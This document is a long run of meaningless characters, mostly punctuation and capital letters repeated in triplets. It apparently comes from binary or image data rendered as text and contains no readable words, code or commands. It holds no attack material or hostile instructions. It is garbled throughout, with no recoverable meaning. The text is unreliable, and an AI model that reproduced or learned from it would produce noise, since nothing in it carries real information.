'''444@@@555,,,666'''bbbooodddJJJkkkVVV???;;;SSS___888<<<222666***"""444eeedddlllhhhkkkbbbFFFQQQlllsssooobbbFFF000 999111...777FFF(((000///&&&### $$$%%% '''...***%%%!!! @@@AAA888555::::::%%%---111''' %%%"""///,,,&&&(((444333&&&)))<<<---555;;; (((000CCCZZZDDD---***BBBNNNUUUYYYOOOSSSGGG---===PPPTTTSSS[[[WWWZZZQQQ555@@@[[[aaaJJJ555333???EEEJJJ@@@DDD888///BBB888777???;;;>>>666%%%@@@GGGPPPCCC'''   '''...***%%%!!! '''(((""""""$$$%%% @@@GGGKKKAAAFFF:::"""444888777???  ###333<<>>CCC555:::***444QQQQQQSSSRRRPPPHHH333...MMMTTTQQQXXX\\\RRRKKK;;;777WWWcccbbbDDD***%%%BBBBBBDDDCCCAAA:::$$$???888555<<>>CCC555 333444666mmmqqqdddKKK;;;WWWBBBCCCWWWdddiii:::444888 !!!666777kkkrrrbbb^^^JJJAAA000eeemmmnnnIII555...,,,,,, """###<<>>HHH;;; """AAA@@@(((222FFFSSSWWWWWWQQQUUU<<<,,,===SSSSSSZZZaaaPPPMMM888000KKKTTT\\\]]]777"""###777DDDHHHHHHBBBEEE---...666777>>>EEE555222000999NNNNNN*** """###000---(((###### !!!!!!  $$$###"""###!!!GGG///!!!666777>>>EEE555222 """###%%% %%%+++000---((("""***///---...""" *** """AAA@@@((()))666::::::pppoooWWWBBBCCCJJJ@@@TTTfffkkkqqq???;;;'''+++222===qqqnnn555 (((,,,SSS777---------,,,,,, %%%'''!!! !!!$$$)))(((### OOOKKKNNNQQQNNN$$$"""$$$***###"""+++444111,,,(((  777666777666222--- (((111!!!$$$%%%+++%%%'''///333III;;;777888///###!!!!!! !!!""" 777===BBBTTTZZZ```\\\XXXCCC///;;;HHHOOOYYY```]]]QQQ;;;,,,777BBB333GGGBBB*** 333FFFKKKPPPMMMIII555 ---+++222===DDDAAA555 (((%%%999444 %%%'''!!! !!!000)))(((### (((###444111,,,(((  ///+++222===DDDAAA555 ((( %%%'''!!! !!!$$$&&&***'''$$$"""+++444111,,,$$$%%%+++%%%""" 777===%%%777===BBB???ffflllJJJ@@@TTTFFFMMMcccjjjppprrr@@@444***+++222>>>>>>444%%%((( ------------,,,,,,,,,>>>@@@GGGLLLPPP%%%"""+++333+++'''***'''   ======;;;999666000 &&&///"""%%%111333///***(((///..."""<<<777000((("""!!!!!! !!!""",,,000666666333444YYY___aaa]]]QQQ000333FFFGGGNNNZZZZZZPPP@@@---888CCC+++"""%%%!!!%%%,,,CCCJJJPPPRRRNNNBBB!!!$$$***+++222>>>>>>444%%%555((('''***'''333+++'''***'''   $$$!!!+++222>>>>>>444%%%((($$$)))%%%333+++'''***%%%111333,,,000666666333444;;;BBBDDD@@@dddaaaEEEMMM444GGGYYYdddhhhvvvqqq888###***333--->>>BBB<<<222------------,,,,,,,,,DDDFFFHHHMMMOOO%%%!!!***555222---&&& ///...---,,,000999:::AAA<<<:::AAA@@@###(((111777///""" ((($$$!!!!!!!!!!!!!!! (((DDD>>><<<333!!!***555999eee```VVV@@@///FFFOOOIII[[[^^^XXXNNN000+++666444 )))'''888DDDGGGVVVQQQGGG111 888AAA--->>>BBB<<<222(((&&&"""""" ,,,666AAA222---&&&  >>>BBB<<<222 %%%(((%%%***555222---111777 &&&>>><<<333!!!***555999HHHBBB888OOOIIIGGG***555KKK]]]aaadddvvvBBB222333555///<<<===888--- ------------,,,,,,,,,   IIIOOOJJJLLLPPP%%%""" &&&111000***$$$<<<777111222...***,,,999AAA<<<777555777===BBBAAA  ***444000"""$$$!!!!!!!!! !!!!!!+++OOOfff=== ...222555GGG```PPP444444PPPRRRKKKYYYYYYTTTIII&&&&&&''' ***===AAADDDVVVQQQAAA&&&%%%AAACCC===<<<===888---   !!!'''"""'''222===<<<***$$$ ===888---   """$$$(((%%%"""&&&111000***  ***444 000GGG=== ...222555GGGBBB222999555JJJ...222___kkkAAAGGGEEE???""")))555333444------------,,,,,,,,,  :::<<<555777EEE$$$$$$!!!"""&&&...000&&&%%%KKKTTTRRRBBB444111444666666===JJJGGGDDD@@@@@@<<>>DDDEEE<<<111...999===AAAHHHMMMEEE>>>777///000+++(((***+++---111888<<<+++777<<<<<<666222000 """"""!!!!!!!!!!!!!!!!!!###...777--- ===FFFJJJLLLGGG::::::TTTVVVOOO999### ---LLLUUUYYY[[[VVVIII))),,,FFFGGGAAA*** $$$,,,***$$$  666%%%000000)))'''$$$*** $$$)))    $$$ $$$)))  !!!###'''///+++ ===FFFJJJLLLGGG::::::LLLllluuuyyyHHHFFF777///===,,,"""666BBB;;;''' ------,,,,,,,,,,,, """"""GGGBBB222,,,666 !!!CCCFFFBBBBBBGGGFFF???444000888888@@@KKKKKKHHHAAA888///---))))))---///111444CCCIIIHHH!!!(((,,,000555666555666))) $$$!!!!!!!!!!!!!!! """///666111HHHFFF777///===,,,"""666```XXXCCC***%%%AAAXXXUUUFFF>>>LLL<<<111EEEQQQJJJ555 ###"""!!!,,,......+++&&& !!!)))((())),,,((((((---!!! ''''''   !!!!!! ''''''$$$  %%%'''+++999'''&&&!!!(((,,,111HHHFFF777///===,,,"""DDD```wwwuuufff@@@---///CCC<<<&&& ---------,,,,,,,,,  BBBAAAKKKNNNHHH  CCCEEEDDDAAA@@@JJJPPPTTTCCC000...111888FFFNNNNNNPPPRRRPPP???333+++***000444999<<>>RRRKKK444 *********&&&%%%"""&&& """)))+++***'''&&&111777<<< !!!***  """&&& $$$***/// !!!******,,,---,,, 222###***&&&###%%%((()))(((@@@---///===WWWooo]]]???###111&&&111$$$------,,,,,,,,,,,,@@@EEEXXX\\\MMM BBBBBBGGGLLLPPPVVVWWWVVVLLL:::+++((()))///:::BBB???DDDMMMQQQHHH???111+++444>>>GGGKKKIIIJJJHHHFFFDDDDDD,,,333000***''''''""" !!!!!!!!!!!!!!!!!! ###111&&&111$$$333AAA666"""+++AAA333 (((&&&"""&&&'''!!! $$$)))===444((((((---222777===>>>===333 000444%%%%%%***000111000''' )))---$$$ %%%)))'''(((&&&$$$"""###,,,333000*** ###111&&&111000111RRR```VVV &&&%%%------,,,,,,,,,,,, >>>777666;;;;;;@@@>>>BBBHHHOOOPPPKKKIIIJJJIII;;;,,,***...111888@@@===???GGGHHHHHHGGG999444;;;CCCJJJKKKEEEBBBAAADDDIIIGGGHHH&&&***+++%%%###&&&######""" %%%'''!!!!!!!!! (((&&&%%%'''666555###***(((%%%$$$"""!!!!!!"""%%%$$$"""%%%$$$'''...555666111000111000"""   )))***%%%###$$$### ###$$$$$$$$$ '''(((""""""'''%%%&&&&&&***+++  &&&%%%111111888GGGVVV ---------,,,,,,,,,,,, BBBBBBCCC>>>888 AAA>>>AAAGGGLLLMMMNNNGGGAAA???===999777777CCCIIIHHHGGGLLLMMMNNNMMMJJJGGGCCCFFFHHHFFFGGGIIIFFFAAA>>>@@@EEECCCAAA>>> ###)))%%%&&&&&& ,,,&&&###!!!   ######%%%''''''(((###'''$$$'''---222444555---(((&&&$$$ %%%  '''((( %%%###"""((()))***)))&&&######%%%"""$$$'''######!!!   111111111222555---------,,,,,,,,,///    444777>>>===222 @@@CCC@@@CCCGGGHHHHHHJJJ???999777333EEE]]]\\\WWWXXXWWWSSSSSSUUUPPPHHHEEEGGGGGGHHHOOOLLLIIIKKKMMMNNNLLLFFFAAA??????IIINNN)))+++000)))...666:::666&&&&&&&&&###!!!!!!!!!!!!  """!!!)))&&&)))---...///000&&& ,,,777666222333     ### 777666222333222......000,,,$$$!!!######%%%+++)))&&&)))***+++***$$$(((,,,))):::666&&&111111000111111------,,,,,,,,,,,, ;;;<<<:::333777===???FFFKKKRRRJJJGGGGGG<<<999666222888UUUnnnhhhVVVJJJ???:::@@@AAAEEEJJJTTTXXXRRRPPPTTTSSSPPPNNNLLLKKKFFFAAA;;;>>>@@@JJJLLLNNN444777)));;;===---LLLFFF222+++///***,,,+++'''!!!!!! !!!,,,111888000---...""" <<>><<<888888888555444555888===BBBHHHVVV___MMMGGGFFFBBB@@@@@@DDDJJJSSSQQQMMMKKKKKKJJJJJJJJJJJJIIICCC@@@AAA;;;555,,,,,,DDDRRRUUU555666+++'''###(((###!!!888888888>>>:::***(((***,,,)))%%%!!! ))))))000+++ %%%***$$$"""$$$***///>>>999(((   (((!!!!!!&&&...,,,)))'''(((''''''''''''&&&  ###000###!!!  :::<<<:::666333 ------,,,,,,...333111  000...,,,***/// 666666:::CCCEEE>>>999444111...333:::FFFPPPMMMKKKHHHLLLLLLBBB===@@@===???GGGMMMJJJEEEAAAFFFGGGDDDCCCGGGNNNGGG>>>@@@@@@444)))&&&>>>PPPSSSOOO)))$$$JJJUUUXXXKKK222,,,---++++++)))### 000;;;FFFIII===###(((!!!+++$$$ !!!---888555222"""'''  ''''''""")))&&& """### $$$+++%%%...$$$***555888,,,  ===<<<;;;:::444---------,,,---......   555888AAAMMMEEE@@@DDDKKKKKKGGGHHHFFF===777666888666666>>>JJJOOONNNPPPSSSSSSZZZ[[[QQQEEECCCAAA>>>BBBFFFDDD===:::<<>>666777777+++$$$999HHHNNNQQQRRR000###  ,,,;;;NNNYYYJJJBBBEEE>>>999>>><<<000### +++222,,,???KKK<<<444666000+++000...""" '''222...,,,###%%%111888(((***---   $$$------444555,,, """ !!!***///((('''  ...:::***###&&& UUUOOOJJJOOOMMM!!! ---///111333111333999 888888;;;DDDIIIIIIOOOWWWQQQFFFCCCBBB===<<>>555000///'''&&&222>>>FFFIIIMMM...)))!!!555333;;;JJJJJJGGGGGGFFF======@@@:::+++$$$""" %%%(((...&&&%%%,,,<<<<<<999999888...///222,,,###'''+++&&&!!!!!! ***)))((($$$###&&&((())),,,...---222(((*** !!!(((******,,,***###!!!***...///''' ******(((((((((!!! WWWWWWMMMNNNQQQ ###"""999555111777666777@@@ CCCDDDCCCCCCJJJJJJMMMNNNDDD@@@???EEEHHHAAAEEEFFFDDDKKKLLLJJJDDD>>>>>>@@@CCCFFFGGGEEE>>>777888888555888@@@FFFJJJNNNNNNKKKPPPNNNEEE888777>>>DDDIIICCCEEEMMMLLLDDDCCC   '''ZZZPPPIIIBBB>>>999;;;??????>>>AAA@@@888222---&&&   000222///999LLLBBB;;;333///***---111111000333222***$$$ $$$------******,,,(((!!!((()))((()))%%%+++...(((,,,---+++333444111 !!!"""$$$"""&&&******(((,,,***###"""''' ### ''':::000)))""" ###"""KKKPPPPPPOOOSSS$$$***### 333333555:::;;;999CCCHHHMMMMMMJJJMMMMMMIIIFFFIIIBBB<<>>GGGLLLPPPNNNDDD;;;???BBB===777JJJ[[[oooooo\\\MMMIIIJJJDDD??? &&&222666TTT===555666111+++,,,444<<>>;;;666999???DDDMMMWWWiiinnnaaaTTTIII@@@===:::777+++---(((###;;;555;;;;;;>>>:::666999<<>>222(((###%%%+++IIIMMMUUU&&&222--- >>>===>>>GGGLLLIIIBBBFFFHHHKKKMMMPPPPPPRRRPPPLLLKKKIIIHHH:::444222111222666===DDD@@@BBBCCCBBB???FFFJJJIIILLLSSSRRRLLLHHHIIIMMMNNNHHHDDD>>><<>>>>>@@@ ###...888111222999666///)))!!!&&&222--->>>EEEVVV ...###  AAA@@@CCCFFFIIIEEE ###PPPQQQSSSUUUQQQPPPSSSWWWUUUKKKDDDEEE@@@;;;777555888888;;;@@@AAA===:::888999EEEKKKMMMRRRSSSJJJ???@@@===>>>GGGEEECCC===<<>>===BBB&&&""" ''',,,)))&&& %%%***%%%    ...### 555666=== ---,,,''' !!!$$$ LLLHHHHHHLLLJJJAAA""" HHHOOOUUUUUUNNNLLLNNNSSS]]]OOODDD===555>>>DDDEEEKKKAAA777:::===:::888555444???HHHMMMRRRSSSKKK@@@<<<666666BBBIIINNNJJJEEEGGG@@@:::555@@@IIIKKKIII???===???<<<666888666222   '''(((###""""""###"""!!!###+++999LLLKKKEEE222$$$$$$ ///---===???888+++  !!!777222000111---''')))''' ))))))!!!+++???>>>888$$$ 111333---'''***000------000...%%%***,,,'''%%%&&&***111///...&&&,,,,,,+++$$$%%%+++,,,333)))###!!!$$$555333+++000222---+++CCCBBB;;;:::<<<###&&&)))&&&   ---,,,'''222444<<<&&&'''  """...333444444000)))***000XXXUUUKKKDDD;;;999 HHHHHHIIINNNPPPSSSTTTQQQNNNOOOPPPMMMKKKPPPYYY[[[JJJFFFKKKIIICCCEEEDDD@@@<<<>>>===<<<444???IIIDDD888555:::@@@BBBCCCEEEEEEBBBJJJJJJEEEAAA777888???GGGDDDAAA???555+++***...///  444000)))!!!!!!!!! !!!!!!!!!###///===EEEEEE  >>>JJJOOOPPPPPPKKKDDD***000---*** '''111333555888666222000''')))---%%%"""!!!000777888'''  """...DDDDDDDDD@@@888:::@@@===999///))) &&&(((***...---... %%%777444222888222CCC222...333111"""...333444...&&&$$$""",,,666;;;>>>AAABBB''''''"""%%%"""   &&&111222222222$$$"""###))) %%%*** ,,,333111111000...***%%%"""DDDAAA>>><<<555///FFFJJJKKKQQQLLLMMMQQQNNNIIIFFFCCCEEEOOOXXX^^^]]]JJJNNNOOOJJJEEEGGGIIIJJJHHHCCC>>>888777<<>>FFFFFFEEEEEEDDD666...000111!!!666*** ***...///'''"""""""""!!!!!! """'''111:::$$$"""###))) %%%*** IIIOOOMMMMMMLLLJJJFFF%%%""" """+++444555666666555999)))///777888666666666''' !!!  !!!###---555"""###))) %%%*** ,,,333AAABBB@@@>>>;;;555222(((%%%"""  ***+++,,,,,, """(((***,,,777@@@666EEE111666888222!!!,,,333111(((&&& '''888???:::;;;???&&&######$$$*** 222333222222 (((!!!  &&&++++++...---)))###555000111///000333 !!! EEEEEEHHHKKKJJJMMMOOOLLLKKKIIIFFFGGGFFFHHHMMMLLLEEEMMMKKKFFFHHHJJJIIIGGGDDD<<<:::;;;;;;;;;888555222555888000,,,,,,555;;;777===GGGLLLAAA;;;BBBBBBBBBEEEEEEDDDIIIDDD999888//////777### 111EEETTTDDD555111000***"""!!! &&&000111(((!!!  &&&+++GGGJJJIIIEEE>>>777  ###***222666:::999555444888;;;:::>>>222,,,333333333666666555:::555***666%%% $$$777FFF777'''#########$$$///(((!!!  &&&+++;;;>>>===999333,,,,,,'''(((,,,000///"""---...---///&&&444---555333...!!!###&&&++++++...&&&555999888;;;===$$$)))"""777### %%%444%%% AAA@@@:::333 """ ###   (((222***!!! 000,,,------222===  ###FFF:::<<>>000>>>///999,,, ???UUUaaa^^^NNNAAA;;;000%%%!!!!!!***222222""" ###   DDDOOOFFF<<<222&&&  """***000:::<<<666***,,,666LLLNNNEEE>>>;;;111<<<222***333222000333999888777777444@@@111)))###111GGGSSSPPP@@@333---###$$$$$$333 ###   999CCC:::111&&&"""%%%000222000///---)))333LLLFFF???555'''))) (((222(((&&&###***444JJJLLLCCC '''999,,, 444AAA>>>...!!! ...QQQKKK@@@555"""   '''!!!222CCCLLLEEE&&&(((:::999777888777444444333000222000,,,(((===BBB>>>;;;777555  RRRRRRLLLFFFPPPUUU\\\aaa]]]\\\\\\SSSKKKWWWPPPKKKTTTSSSTTT[[[^^^UUULLLIIIFFF===777222...,,,...333------...///???GGGAAA777555555;;;>>>>>>:::999777444;;;EEEGGGGGGMMMLLL:::111999444777!!!,,,(((---%%%@@@FFFYYY```[[[PPPAAA555+++###(((111555 '''!!!222CCCLLLEEE&&&(((:::999777888777444444OOOMMMOOOLLLHHHDDD555 %%%333222///333BBBBBB<<<666@@@FFFLLLRRRMMMLLLLLLCCC;;;GGG@@@;;; ###,,,//////+++***(((&&&,,,666999999???>>>)))444???;;;@@@777222999LLLRRRMMMBBB444...###'''222'''!!!222CCCLLLEEE&&&(((:::999777888777444444DDDAAACCCAAA<<<888)))!!!### ((('''$$$)))))))))###DDD;;;333???)))333<<<;;;===DDD777...777444444333000(((%%%""" !!!!!!!!!999333===DDDKKK"""  777!!!,,,(((---%%% &&&999???;;;000"""  ;;;```RRRLLLFFF$$$ ''',,,)))---888BBBIIIHHH555&&&,,,222222$$$!!!&&&+++......&&&$$$***444444### JJJHHHMMMPPPKKK???EEEEEEGGGEEEIIILLLVVV\\\[[[\\\]]]WWWQQQUUUYYY]]]```VVVVVVYYYRRRKKKIIIHHHCCC;;;444111555222000444333555555777DDDHHHFFFAAA===777444777<<<:::555444000888CCCIIIMMMRRRRRR???&&&***)))***)))CCCBBBSSS^^^[[[444$$$:::555+++)))...666''',,,)))---888BBBIIIHHH555&&&,,,222222$$$!!!&&&+++...KKKBBB@@@GGGPPPPPP???<<<"""%%% ---222333777555555666555999<<>>;;;555444FFFPPPNNNGGG666'''!!!)))888,,,)))---888BBBIIIHHH555&&&,,,222222$$$!!!&&&+++...???666444;;;EEEEEE444111"""%%% """ ###((()))---DDD???999===111FFFIII??????BBB+++$$$&&&+++......"""%%%555***,,,,,,)))'''444222777:::DDD;;;   )))***)))###"""333===;;;444$$$ kkkdddTTTMMMKKK--- ''')))***444:::>>>???,,, (((---333!!! """$$$+++***///555666333,,,(((LLLFFFGGGMMMSSSOOO$$$$$$===>>>@@@EEEHHHLLLSSSUUUYYYZZZYYYVVVMMMNNNYYY\\\SSSPPPOOOMMMGGGGGGGGGAAA<<<555333444===;;;444222777888444555<<>>>>>===???:::;;;;;;;;;666777;;;>>><<<===IIIMMM222///### 555777555PPPSSS\\\888888--- :::======777555666''')))***444:::>>>???,,, (((---333!!! """$$$GGGFFFLLLQQQRRROOOHHHCCC<<<"""((($$$$$$$$$,,,---000...---...111444888<<>>IIIMMMDDD@@@@@@===777777777222---&&&$$$%%% !!!"""...000,,,,,,,,,,,,((())),,,///...///;;;222***)))333IIIKKKHHHBBBFFFNNNKKKKKK@@@ //////***((()))...''')))***444:::>>>???,,, (((---333!!! """$$$<<<;;;@@@FFFGGGDDD===(((!!!"""((($$$$$$$$$///(((""""""&&&$$$111>>>555666111EEE<<<999888666 """$$$+++"""((($$$$$$:::555...---222666:::AAA444///  ### 555777555///333;;;888888--- hhhhhh]]]QQQKKK,,,###!!!%%%((("""!!!...777:::222 &&&***'''%%%"""(((%%%%%%'''...111666999999888///VVVRRRLLLLLLQQQ^^^777)))<<<777;;;DDDHHHNNNSSSTTT^^^\\\XXX[[[VVVNNNQQQRRRLLLHHHEEEBBBCCCCCCBBB>>>:::444111333;;;>>>:::888@@@FFF???666777;;;;;;999555:::???AAA======CCCCCCCCCAAA@@@;;;444666CCCTTTNNNEEE 000***!!!,,,@@@888:::___<<<333666;;;,,,###AAADDDGGGAAA<<<;;;!!!...777:::222 &&&***'''%%%"""(((%%%%%%DDDJJJNNNSSSUUUUUUTTTKKKEEEBBB &&&333777)))444555555,,,(((,,,444777>>>CCCEEENNNMMMHHHLLLGGG>>>AAABBB<<<888555333333333222///+++%%%"""$$$,,,!!!000222...///444444444333111,,,&&&(((444DDD>>>444@@@SSSKKKNNNQQQOOOFFFIIINNN,,,###!!!777:::444///...)))!!!...777:::222 &&&***'''%%%"""(((%%%666888???CCCGGGJJJJJJIII///***''' &&&333777)))***))))))***++++++///CCC???666))):::444000...+++"""(((%%%%%%'''''' &&&333777))))))111555<<>><<<333666;;;,,,###!!!%%%((("""fffkkk\\\SSSRRR222222333000,,,&&& ''''''"""""" %%%***...,,,***$$$$$$,,,,,,666777777777999111XXXXXXWWWPPPMMMOOO///*** BBBBBB===<<<@@@BBBGGGKKKMMMSSSTTTRRRUUUPPPPPPOOORRRVVVSSSTTTVVVJJJGGGDDD???@@@===888333666666555444;;;@@@AAA===>>>AAA>>>===BBBDDDBBB>>><<>>@@@IIIMMMDDD***222888HHHKKK888...222222222SSSPPPKKKEEE???>>>''''''"""""" %%%***...,,,***$$$$$$,,,IIISSSTTTSSSSSSUUUMMMHHHHHHGGG$$$"""$$$///*** 000222222---,,,000333777;;;===CCCDDDCCCEEEAAAAAA@@@BBBGGGDDDDDDGGG;;;888444000111...)))$$$''' 333///---111555888888111)))((())),,,///222---(((...>>>EEELLL[[[^^^LLLAAA222222222333CCC???888222111...''''''"""""" %%%***...,,,***$$$555>>>>>>HHHIIIHHHHHHJJJ111,,,,,,+++$$$"""$$$///***000///)))!!!&&&(((+++***===999999(((:::???<<<===???### ***$$$$$$,,,+++$$$"""$$$///*** ***...000555999333333111+++   ######***222888HHHKKK888...222222222333000,,,&&& ___bbbbbbccccccEEE@@@666000%%%%%%,,,))))))111---%%%######&&&$$$!!!###$$$"""(((+++111000,,,+++000)))RRRTTTUUURRRMMMNNN***...***###AAAAAA===555555<<<@@@DDDDDDDDDLLLPPPNNNLLLLLLJJJLLLQQQUUUWWWVVVKKKFFFDDD@@@CCCGGGIII@@@999555333111111666AAAAAA<<<>>>>>>===BBBEEE@@@>>>CCCJJJHHH@@@>>>;;;777666333111222111888777555%%%***---555222&&&)))666EEE@@@VVVPPPDDD===DDDKKK))))))111---%%%######&&&$$$!!!###$$$"""(((HHHMMMLLLHHHGGGLLLEEEBBBCCCDDD&&&"""###***...***###///111111---&&&&&&---000444444444===@@@>>><<<===:::<<>>;;;)))111---%%%######&&&$$$!!!###$$$333999<<>>@@@@@@$$$"""&&&((()))&&&"""###***...***### ###***///222333666:::<<<444 &&&%%%%%%***---555222&&&)))666EEE@@@666000%%%%%%YYYfffuuuqqqgggEEEAAA777---!!!&&&+++...///)))### !!!"""$$$######%%%,,,WWWUUUNNNLLLIIIGGGJJJ&&&,,,+++&&&999999@@@AAA:::===@@@BBBBBB???HHHHHHGGGOOOGGGBBBBBBHHHIIIKKKKKKIIIAAA:::777:::@@@EEE@@@555000000111333777???@@@999;;;======???BBB@@@CCCOOOTTTOOOFFFCCC???777333,,,***+++...333...+++ ###)))((()))888EEEAAAWWWMMMAAA<<<<<<>>>&&&+++...///)))### !!!"""$$$###888:::???AAAHHHGGGEEE>>><<<999&&&,,,+++&&&******000111***---000222222000888999777???888222222888:::;;;<<<999222+++(((+++111555111'''!!! 111555AAAFFF@@@888555000)))%%%!!!###(((((((((...000666<<<;;;)))888EEEAAA777@@@444//////222999+++...///)))### !!!333666444,,,///444666,,,+++)))"""!!!&&&,,,<<<777+++))) 777000+++000222444444"""""")))"""!!!&&&,,,+++&&&+++...111***---333888444*** +++000+++###  ###)))((()))888EEEAAA777---!!!YYYhhhuuuqqqggg777:::>>>777&&& $$$%%%$$$!!!$$$RRRPPPOOOIIIEEEHHH&&&)))&&&$$$""""""!!!BBB;;;AAAFFF>>>??????BBBBBB999???@@@AAAHHHGGGBBB===@@@DDDHHHKKKOOOHHH<<<999555555::::::222------000999===???DDD<<<777999<<>>JJJ999222,,,+++222666%%%$$$!!!$$$***///((((((+++000$$$&&&$$$###&&&)))&&&555333333 ///&&&(((---111444(((!!!$$$###&&&)))&&&$$$"""...111,,,((()))......&&&""" """***333222---***$$$ ///999555888777:::>>>777&&& eeehhhgggkkknnn""",,,---(((&&&---"""***,,,---%%% """ IIIJJJIIIHHHJJJOOO------$$$$$$###RRRNNNGGGIIIKKKLLLOOOKKKIIINNNIIIFFFBBB???@@@===:::999AAADDDAAADDDHHHKKKJJJCCC<<<999888777222222222777;;;===>>>>>><<>>999666222000111...+++***111555111555 $$$###444---***)))((($$$### 888DDDGGGAAA999555///(((""""""''',,,(((000,,,'''###$$$)))+++///000""",,,---(((999@@@444(((===???---%%% """ !!!&&&000...)))'''$$$------......&&&""" %%% (((###"""***...*** $$$### $$$------""""""&&&:::<<<666000---,,,+++'''''' """...111+++$$$ """,,,---(((&&&---"""CCCKKKRRR]]]^^^!!!+++---"""(((&&&+++***)))$$$&&&)))###111/////////---000333999 !!!+++---555;;;///&&&999>>>===)))$$$&&&)))###  """***------***###,,,...+++###222###%%%***+++)))'''  ###,,,...+++###!!! $$$###:::999222,,,+++,,,)))...111###+++222///)))""" &&& !!!+++---"""(((<<>>>>>;;;999222---***((()))+++------,,,***&&&%%%,,,222666444444000+++)))'''''',,,***)))!!!(((///---444222'''000!!!YYY```^^^eeeccc  ###%%%(((,,,)))!!! 222000000333555777333""" '''---333666888;;;@@@)))!!! $$$$$$"""'''!!!&&&***,,,///%%%$$$///...---***$$$  $$$$$$!!!"""$$$%%%"""'''!!!&&&***EEEHHH>>>===888777666555333,,,%%%######%%%+++111:::DDD???888666444333333333,,,'''&&& !!!###""" @@@@@@IIIMMM$$$...!!!)))"""!!!  444555333555999444$$$...555<<<555///444111///    222  &&&******&&&###!!!***'''$$$######  !!!  """###""" '''  &&&BBBBBB???<<<:::555333000---++++++$$$######%%%***111>>>GGGGGG???:::===EEE555111///***&&&    $$$ $$$...!!!FFFJJJKKKIII$$$...!!!""""""888666888;;;999444$$$...444333(((000555555,,,  777..."""%%%'''$$$###""")))###"""***--- 777### """%%%???<<<<<<;;;888777888555111+++***333555+++&&&'''***)))111@@@FFFCCCDDDEEEFFFLLL222000,,,***%%%$$$######"""###'''%%% $$$...!!!DDDCCCDDDKKK!!!"""'''### ///+++111999666999&&&  !!!"""***,,,;;;777333111    ===444000***---(((((($$$$$$$$$)))111 ,,,;;;<<< ***...,,,222333333222777:::666BBB---(((((($$$000===<<<888444444666444,,,&&&!!!%%%111999...'''&&&++++++555CCCEEE===EEEHHHKKKNNN///,,,'''!!!$$$...,,, %%%"""%%%&&&  !!!"""???===@@@GGG""""""+++### LLLJJJIIIKKKLLLQQQ%%%'''++++++'''$$$RRRWWWVVVZZZVVVQQQJJJCCCAAA@@@???AAABBBAAA???<<<===>>>999888<<<333...---000333:::@@@CCCMMMMMMGGGEEEFFFNNN[[[\\\ZZZ\\\^^^______XXXSSSPPPCCC888;;;AAAAAA 333444000///777===AAA>>>DDDHHHDDDGGGKKKKKKCCC666<<>>@@@>>>===KKK>>>444111===BBB:::---%%%$$$$$$&&&$$$  999;;;<<>>???888666777@@@555666444777888::::::333...+++555+++,,,333333000''' %%%&&&""""""***///333000777;;;666;;;>>>)))!!!$$$ """"""000???222(((%%%111777 999666000000999,,,,,,000,,,''' &&&(((######&&&  %%%+++...&&&///666444333555777666???EEEDDDHHHEEE???999222111000///111222222000---...000++++++///&&&!!! $$$'''...555777AAABBB<<<:::;;;333...+++"""&&&!!!&&&***)))!!!$$$ """"""TTTPPPLLLPPP"""  ###  DDDAAA@@@@@@DDDOOO&&&$$$&&& """$$$((([[[YYYVVVUUUTTTOOOQQQGGG999::::::???AAA?????????AAAEEE@@@:::555222333000...444888>>>DDDMMMVVVTTTQQQLLLQQQ[[[]]]\\\\\\\\\^^^^^^[[[UUUQQQFFF===:::777777 444333111222111>>>GGGLLLEEEBBB;;;888CCCHHHLLLPPPJJJJJJKKKCCC@@@>>>::::::999222444777@@@;;;@@@BBB<<<666///+++---%%%%%%''')))'''  000111555???BBB@@@BBB<<<777>>>@@@CCC000///,,,******%%%'''  >>>GGGFFFCCC>>>CCCMMM777666666777888888666000,,,!!!///,,,***)))'''###!!!&&&&&&$$$$$$$$$111:::???888444...+++777<<<***...))))))***"""444///444666000***$$$  &&&333...555777:::CCC///,,,******%%%'''+++///***$$$ ###)))///888  &&&***......,,,++++++///<<<@@@IIIGGGDDDCCCCCC===???666)))******///222000000000333777222,,,'''%%%&&&$$$"""''',,,222888AAAJJJIIIFFFBBB666000,,,!!!)))###"""'''***...))))))***"""[[[SSSPPP### !!! BBB;;;777???EEEQQQ''' ###%%%))))))SSSRRRQQQTTTLLLAAA666333777::::::::::::>>>FFFCCC>>>:::666666999;;;<<<:::333444;;;@@@DDDQQQXXXUUUQQQQQQTTTYYYYYYWWWTTTRRROOOMMM---+++TTTTTTLLLCCC777 ...444555888888111>>>KKKPPPHHHCCCBBBCCCDDDDDDHHHXXXaaaUUUKKKGGGDDD===888777111,,,...000777===AAA<<<666000++++++,,,))))))(((222444---'''000555AAACCC<<<444---222???@@@DDDDDD(((((('''***"""  555CCCJJJGGGCCCCCCFFF333333111///,,,***(((---+++///FFF???555)))""" '''(((++++++$$$000>>>CCC;;;666444555777888&&&666???333***&&&### +++111555000***%%% ''' $$$(((666777;;;<<<(((((('''***""" ---(((%%%!!!!!!&&&%%%&&&+++000=== +++,,,...,,,&&&"""***;;;===AAAAAA@@@@@@???BBB;;;000&&&###'''******++++++///666555000,,,((((((+++//////((( ---%%%!!! """###&&&666???333***&&&### [[[WWWTTT######!!!   ''' CCCAAA:::JJJSSSQQQ !!!)))MMMMMMMMMFFFEEEHHH@@@>>>NNNGGG;;;888;;;888???AAA666444444777======BBBEEE===::::::;;;BBBMMMPPPOOONNNOOONNNOOORRRQQQKKKDDD&&&***ZZZ]]]UUUMMM<<< 000///000777666BBBDDDIIIOOOTTTRRRPPPNNNDDDBBBJJJdddhhhVVVIIIDDDDDDDDD===777555888:::AAA===777555444000)))&&&***111000)))$$$000@@@=== %%%''' ***:::CCCBBB;;;...&&&%%%+++333333===DDD===""""""$$$,,, >>>BBBAAA@@@AAA@@@***,,,+++%%%&&&***555OOOHHH???...$$$ """!!!"""***)))555666<<>>???HHHNNNPPPOOOIIIGGGDDDEEEBBBCCCDDD ######!!!JJJLLLPPPPPPBBB???;;;222666:::???GGG>>>>>>EEEMMMOOOKKKGGGGGG@@@===DDDGGGFFFAAAFFFCCCBBBGGGHHH>>>>>>CCCCCC:::@@@;;;222///333111***555???<<<777:::BBBAAA999 !!!FFFQQQDDD777000666>>>BBBGGGIIIMMMOOOIIIBBB)))### ...333"""$$$    (((BBB@@@:::888666777 ######!!!&&&(((BBBBBB444000111---%%%))),,,222:::000000888@@@BBB>>>;;;;;;222"""&&&%%% %%%"""!!!'''(((######444///'''!!!***444(((555999===@@@DDDFFF---''')))### )))  +++---111...444999>>>CCCFFFJJJLLLFFF???777BBB<<<666,,,###+++---222333<<<>>>:::999444,,,$$$!!!&&&(((++++++"""***,,,)))%%%%%%"""&&&%%% %%%"""!!!'''(((###QQQVVV"""!!!'''!!!&&&***'''###!!!  